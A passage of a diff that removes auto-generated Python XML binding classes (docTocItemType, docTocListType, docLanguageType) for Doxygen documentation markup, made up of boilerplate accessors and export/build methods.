self.rtfonly.insert(index, value) - def replace_rtfonly_at(self, index, value): - self.rtfonly[index] = value - def get_latexonly(self): - return self.latexonly - def set_latexonly(self, latexonly): - self.latexonly = latexonly - def add_latexonly(self, value): - self.latexonly.append(value) - def insert_latexonly_at(self, index, value): - self.latexonly.insert(index, value) - def replace_latexonly_at(self, index, value): - self.latexonly[index] = value - def get_docbookonly(self): - return self.docbookonly - def set_docbookonly(self, docbookonly): - self.docbookonly = docbookonly - def add_docbookonly(self, value): - self.docbookonly.append(value) - def insert_docbookonly_at(self, index, value): - self.docbookonly.insert(index, value) - def replace_docbookonly_at(self, index, value): - self.docbookonly[index] = value - def get_image(self): - return self.image - def set_image(self, image): - self.image = image - def add_image(self, value): - self.image.append(value) - def insert_image_at(self, index, value): - self.image.insert(index, value) - def replace_image_at(self, index, value): - self.image[index] = value - def get_dot(self): - return self.dot - def set_dot(self, dot): - self.dot = dot - def add_dot(self, value): - self.dot.append(value) - def insert_dot_at(self, index, value): - self.dot.insert(index, value) - def replace_dot_at(self, index, value): - self.dot[index] = value - def get_msc(self): - return self.msc - def set_msc(self, msc): - self.msc = msc - def add_msc(self, value): - self.msc.append(value) - def insert_msc_at(self, index, value): - self.msc.insert(index, value) - def replace_msc_at(self, index, value): - self.msc[index] = value - def get_plantuml(self): - return self.plantuml - def set_plantuml(self, plantuml): - self.plantuml = plantuml - def add_plantuml(self, value): - self.plantuml.append(value) - def insert_plantuml_at(self, index, value): - self.plantuml.insert(index, value) - def replace_plantuml_at(self, index, value): - self.plantuml[index] = value - def get_anchor(self): - return self.anchor - def set_anchor(self, anchor): - self.anchor = anchor - def add_anchor(self, value): - self.anchor.append(value) - def insert_anchor_at(self, index, value): - self.anchor.insert(index, value) - def replace_anchor_at(self, index, value): - self.anchor[index] = value - def get_formula(self): - return self.formula - def set_formula(self, formula): - self.formula = formula - def add_formula(self, value): - self.formula.append(value) - def insert_formula_at(self, index, value): - self.formula.insert(index, value) - def replace_formula_at(self, index, value): - self.formula[index] = value - def get_ref(self): - return self.ref - def set_ref(self, ref): - self.ref = ref - def add_ref(self, value): - self.ref.append(value) - def insert_ref_at(self, index, value): - self.ref.insert(index, value) - def replace_ref_at(self, index, value): - self.ref[index] = value - def get_emoji(self): - return self.emoji - def set_emoji(self, emoji): - self.emoji = emoji - def add_emoji(self, value): - self.emoji.append(value) - def insert_emoji_at(self, index, value): - self.emoji.insert(index, value) - def replace_emoji_at(self, index, value): - self.emoji[index] = value - def get_linebreak(self): - return self.linebreak - def set_linebreak(self, linebreak): - self.linebreak = linebreak - def add_linebreak(self, value): - self.linebreak.append(value) - def insert_linebreak_at(self, index, value): - self.linebreak.insert(index, value) - def replace_linebreak_at(self, index, value): - self.linebreak[index] = value - def get_id(self): - return self.id - def set_id(self, id): - self.id = id - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.ulink or - self.bold or - self.s or - self.strike or - self.underline or - self.emphasis or - self.computeroutput or - self.subscript or - self.superscript or - self.center or - self.small or - self.cite or - self.del_ or - self.ins or - self.htmlonly or - self.manonly or - self.xmlonly or - self.rtfonly or - self.latexonly or - self.docbookonly or - self.image or - self.dot or - self.msc or - self.plantuml or - self.anchor or - self.formula or - self.ref or - self.emoji or - self.linebreak or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docTocItemType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docTocItemType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docTocItemType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docTocItemType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docTocItemType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docTocItemType'): - if self.id is not None and 'id' not in already_processed: - already_processed.add('id') - outfile.write(' id=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.id), input_name='id')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docTocItemType', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for ulink_ in self.ulink: - namespaceprefix_ = self.ulink_nsprefix_ + ':' if (UseCapturedNS_ and self.ulink_nsprefix_) else '' - ulink_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ulink', pretty_print=pretty_print) - for bold_ in self.bold: - namespaceprefix_ = self.bold_nsprefix_ + ':' if (UseCapturedNS_ and self.bold_nsprefix_) else '' - bold_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='bold', pretty_print=pretty_print) - for s_ in self.s: - namespaceprefix_ = self.s_nsprefix_ + ':' if (UseCapturedNS_ and self.s_nsprefix_) else '' - s_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='s', pretty_print=pretty_print) - for strike_ in self.strike: - namespaceprefix_ = self.strike_nsprefix_ + ':' if (UseCapturedNS_ and self.strike_nsprefix_) else '' - strike_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='strike', pretty_print=pretty_print) - for underline_ in self.underline: - namespaceprefix_ = self.underline_nsprefix_ + ':' if (UseCapturedNS_ and self.underline_nsprefix_) else '' - underline_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='underline', pretty_print=pretty_print) - for emphasis_ in self.emphasis: - namespaceprefix_ = self.emphasis_nsprefix_ + ':' if (UseCapturedNS_ and self.emphasis_nsprefix_) else '' - emphasis_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emphasis', pretty_print=pretty_print) - for computeroutput_ in self.computeroutput: - namespaceprefix_ = self.computeroutput_nsprefix_ + ':' if (UseCapturedNS_ and self.computeroutput_nsprefix_) else '' - computeroutput_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='computeroutput', pretty_print=pretty_print) - for subscript_ in self.subscript: - namespaceprefix_ = self.subscript_nsprefix_ + ':' if (UseCapturedNS_ and self.subscript_nsprefix_) else '' - subscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='subscript', pretty_print=pretty_print) - for superscript_ in self.superscript: - namespaceprefix_ = self.superscript_nsprefix_ + ':' if (UseCapturedNS_ and self.superscript_nsprefix_) else '' - superscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='superscript', pretty_print=pretty_print) - for center_ in self.center: - namespaceprefix_ = self.center_nsprefix_ + ':' if (UseCapturedNS_ and self.center_nsprefix_) else '' - center_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='center', pretty_print=pretty_print) - for small_ in self.small: - namespaceprefix_ = self.small_nsprefix_ + ':' if (UseCapturedNS_ and self.small_nsprefix_) else '' - small_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='small', pretty_print=pretty_print) - for cite_ in self.cite: - namespaceprefix_ = self.cite_nsprefix_ + ':' if (UseCapturedNS_ and self.cite_nsprefix_) else '' - cite_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='cite', pretty_print=pretty_print) - for del_ in self.del_: - namespaceprefix_ = self.del__nsprefix_ + ':' if (UseCapturedNS_ and self.del__nsprefix_) else '' - del_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='del', pretty_print=pretty_print) - for ins_ in self.ins: - namespaceprefix_ = self.ins_nsprefix_ + ':' if (UseCapturedNS_ and self.ins_nsprefix_) else '' - ins_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ins', pretty_print=pretty_print) - for htmlonly_ in self.htmlonly: - namespaceprefix_ = self.htmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.htmlonly_nsprefix_) else '' - htmlonly_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='htmlonly', pretty_print=pretty_print) - for manonly_ in self.manonly: - namespaceprefix_ = self.manonly_nsprefix_ + ':' if (UseCapturedNS_ and self.manonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%smanonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(manonly_), input_name='manonly')), namespaceprefix_ , eol_)) - for xmlonly_ in self.xmlonly: - namespaceprefix_ = self.xmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.xmlonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sxmlonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(xmlonly_), input_name='xmlonly')), namespaceprefix_ , eol_)) - for rtfonly_ in self.rtfonly: - namespaceprefix_ = self.rtfonly_nsprefix_ + ':' if (UseCapturedNS_ and self.rtfonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%srtfonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(rtfonly_), input_name='rtfonly')), namespaceprefix_ , eol_)) - for latexonly_ in self.latexonly: - namespaceprefix_ = self.latexonly_nsprefix_ + ':' if (UseCapturedNS_ and self.latexonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%slatexonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(latexonly_), input_name='latexonly')), namespaceprefix_ , eol_)) - for docbookonly_ in self.docbookonly: - namespaceprefix_ = self.docbookonly_nsprefix_ + ':' if (UseCapturedNS_ and self.docbookonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sdocbookonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(docbookonly_), input_name='docbookonly')), namespaceprefix_ , eol_)) - for image_ in self.image: - namespaceprefix_ = self.image_nsprefix_ + ':' if (UseCapturedNS_ and self.image_nsprefix_) else '' - image_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='image', pretty_print=pretty_print) - for dot_ in self.dot: - namespaceprefix_ = self.dot_nsprefix_ + ':' if (UseCapturedNS_ and self.dot_nsprefix_) else '' - dot_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='dot', pretty_print=pretty_print) - for msc_ in self.msc: - namespaceprefix_ = self.msc_nsprefix_ + ':' if (UseCapturedNS_ and self.msc_nsprefix_) else '' - msc_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='msc', pretty_print=pretty_print) - for plantuml_ in self.plantuml: - namespaceprefix_ = self.plantuml_nsprefix_ + ':' if (UseCapturedNS_ and self.plantuml_nsprefix_) else '' - plantuml_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='plantuml', pretty_print=pretty_print) - for anchor_ in self.anchor: - namespaceprefix_ = self.anchor_nsprefix_ + ':' if (UseCapturedNS_ and self.anchor_nsprefix_) else '' - anchor_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='anchor', pretty_print=pretty_print) - for formula_ in self.formula: - namespaceprefix_ = self.formula_nsprefix_ + ':' if (UseCapturedNS_ and self.formula_nsprefix_) else '' - formula_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='formula', pretty_print=pretty_print) - for ref_ in self.ref: - namespaceprefix_ = self.ref_nsprefix_ + ':' if (UseCapturedNS_ and self.ref_nsprefix_) else '' - ref_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ref', pretty_print=pretty_print) - for emoji_ in self.emoji: - namespaceprefix_ = self.emoji_nsprefix_ + ':' if (UseCapturedNS_ and self.emoji_nsprefix_) else '' - emoji_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emoji', pretty_print=pretty_print) - for linebreak_ in self.linebreak: - namespaceprefix_ = self.linebreak_nsprefix_ + ':' if (UseCapturedNS_ and self.linebreak_nsprefix_) else '' - linebreak_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='linebreak', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('id', node) - if value is not None and 'id' not in already_processed: - already_processed.add('id') - self.id = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'ulink': - obj_ = docURLLink.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ulink', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ulink'): - self.add_ulink(obj_.value) - elif hasattr(self, 'set_ulink'): - self.set_ulink(obj_.value) - elif nodeName_ == 'bold': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'bold', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_bold'): - self.add_bold(obj_.value) - elif hasattr(self, 'set_bold'): - self.set_bold(obj_.value) - elif nodeName_ == 's': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 's', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_s'): - self.add_s(obj_.value) - elif hasattr(self, 'set_s'): - self.set_s(obj_.value) - elif nodeName_ == 'strike': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'strike', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_strike'): - self.add_strike(obj_.value) - elif hasattr(self, 'set_strike'): - self.set_strike(obj_.value) - elif nodeName_ == 'underline': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'underline', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_underline'): - self.add_underline(obj_.value) - elif hasattr(self, 'set_underline'): - self.set_underline(obj_.value) - elif nodeName_ == 'emphasis': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emphasis', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emphasis'): - self.add_emphasis(obj_.value) - elif hasattr(self, 'set_emphasis'): - self.set_emphasis(obj_.value) - elif nodeName_ == 'computeroutput': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'computeroutput', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_computeroutput'): - self.add_computeroutput(obj_.value) - elif hasattr(self, 'set_computeroutput'): - self.set_computeroutput(obj_.value) - elif nodeName_ == 'subscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'subscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_subscript'): - self.add_subscript(obj_.value) - elif hasattr(self, 'set_subscript'): - self.set_subscript(obj_.value) - elif nodeName_ == 'superscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'superscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_superscript'): - self.add_superscript(obj_.value) - elif hasattr(self, 'set_superscript'): - self.set_superscript(obj_.value) - elif nodeName_ == 'center': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'center', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_center'): - self.add_center(obj_.value) - elif hasattr(self, 'set_center'): - self.set_center(obj_.value) - elif nodeName_ == 'small': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'small', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_small'): - self.add_small(obj_.value) - elif hasattr(self, 'set_small'): - self.set_small(obj_.value) - elif nodeName_ == 'cite': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'cite', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_cite'): - self.add_cite(obj_.value) - elif hasattr(self, 'set_cite'): - self.set_cite(obj_.value) - elif nodeName_ == 'del': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'del', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_del'): - self.add_del(obj_.value) - elif hasattr(self, 'set_del'): - self.set_del(obj_.value) - elif nodeName_ == 'ins': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ins', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ins'): - self.add_ins(obj_.value) - elif hasattr(self, 'set_ins'): - self.set_ins(obj_.value) - elif nodeName_ == 'htmlonly': - obj_ = docHtmlOnlyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'htmlonly', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_htmlonly'): - self.add_htmlonly(obj_.value) - elif hasattr(self, 'set_htmlonly'): - self.set_htmlonly(obj_.value) - elif nodeName_ == 'manonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'manonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'manonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'manonly', valuestr_) - self.content_.append(obj_) - self.manonly_nsprefix_ = child_.prefix - elif nodeName_ == 'xmlonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'xmlonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'xmlonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'xmlonly', valuestr_) - self.content_.append(obj_) - self.xmlonly_nsprefix_ = child_.prefix - elif nodeName_ == 'rtfonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'rtfonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'rtfonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'rtfonly', valuestr_) - self.content_.append(obj_) - self.rtfonly_nsprefix_ = child_.prefix - elif nodeName_ == 'latexonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'latexonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'latexonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'latexonly', valuestr_) - self.content_.append(obj_) - self.latexonly_nsprefix_ = child_.prefix - elif nodeName_ == 'docbookonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'docbookonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'docbookonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'docbookonly', valuestr_) - self.content_.append(obj_) - self.docbookonly_nsprefix_ = child_.prefix - elif nodeName_ == 'image': - obj_ = docImageType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'image', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_image'): - self.add_image(obj_.value) - elif hasattr(self, 'set_image'): - self.set_image(obj_.value) - elif nodeName_ == 'dot': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'dot', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_dot'): - self.add_dot(obj_.value) - elif hasattr(self, 'set_dot'): - self.set_dot(obj_.value) - elif nodeName_ == 'msc': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'msc', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_msc'): - self.add_msc(obj_.value) - elif hasattr(self, 'set_msc'): - self.set_msc(obj_.value) - elif nodeName_ == 'plantuml': - obj_ = docPlantumlType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'plantuml', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_plantuml'): - self.add_plantuml(obj_.value) - elif hasattr(self, 'set_plantuml'): - self.set_plantuml(obj_.value) - elif nodeName_ == 'anchor': - obj_ = docAnchorType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'anchor', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_anchor'): - self.add_anchor(obj_.value) - elif hasattr(self, 'set_anchor'): - self.set_anchor(obj_.value) - elif nodeName_ == 'formula': - obj_ = docFormulaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'formula', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_formula'): - self.add_formula(obj_.value) - elif hasattr(self, 'set_formula'): - self.set_formula(obj_.value) - elif nodeName_ == 'ref': - obj_ = docRefTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ref', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ref'): - self.add_ref(obj_.value) - elif hasattr(self, 'set_ref'): - self.set_ref(obj_.value) - elif nodeName_ == 'emoji': - obj_ = docEmojiType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emoji', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emoji'): - self.add_emoji(obj_.value) - elif hasattr(self, 'set_emoji'): - self.set_emoji(obj_.value) - elif nodeName_ == 'linebreak': - obj_ = docEmptyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'linebreak', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_linebreak'): - self.add_linebreak(obj_.value) - elif hasattr(self, 'set_linebreak'): - self.set_linebreak(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docTocItemType - - -class docTocListType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, tocitem=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if tocitem is None: - self.tocitem = [] - else: - self.tocitem = tocitem - self.tocitem_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docTocListType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docTocListType.subclass: - return docTocListType.subclass(*args_, **kwargs_) - else: - return docTocListType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_tocitem(self): - return self.tocitem - def set_tocitem(self, tocitem): - self.tocitem = tocitem - def add_tocitem(self, value): - self.tocitem.append(value) - def insert_tocitem_at(self, index, value): - self.tocitem.insert(index, value) - def replace_tocitem_at(self, index, value): - self.tocitem[index] = value - def hasContent_(self): - if ( - self.tocitem - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docTocListType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docTocListType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docTocListType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docTocListType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docTocListType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docTocListType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docTocListType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for tocitem_ in self.tocitem: - namespaceprefix_ = self.tocitem_nsprefix_ + ':' if (UseCapturedNS_ and self.tocitem_nsprefix_) else '' - tocitem_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='tocitem', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'tocitem': - obj_ = docTocItemType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.tocitem.append(obj_) - obj_.original_tagname_ = 'tocitem' -# end class docTocListType - - -class docLanguageType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, langid=None, para=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.langid = _cast(None, langid) - self.langid_nsprefix_ = None - if para is None: - self.para = [] - else: - self.para = para - self.para_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docLanguageType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docLanguageType.subclass: - return docLanguageType.subclass(*args_, **kwargs_) - else: - return docLanguageType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_para(self): - return self.para - def set_para(self, para): - self.para = para - def add_para(self, value): - self.para.append(value) - def insert_para_at(self, index, value): - self.para.insert(index, value) - def replace_para_at(self, index, value): - self.para[index] = value - def get_langid(self): - return self.langid - def set_langid(self, langid): - self.langid = langid - def hasContent_(self): - if ( - self.para - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docLanguageType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docLanguageType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docLanguageType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, 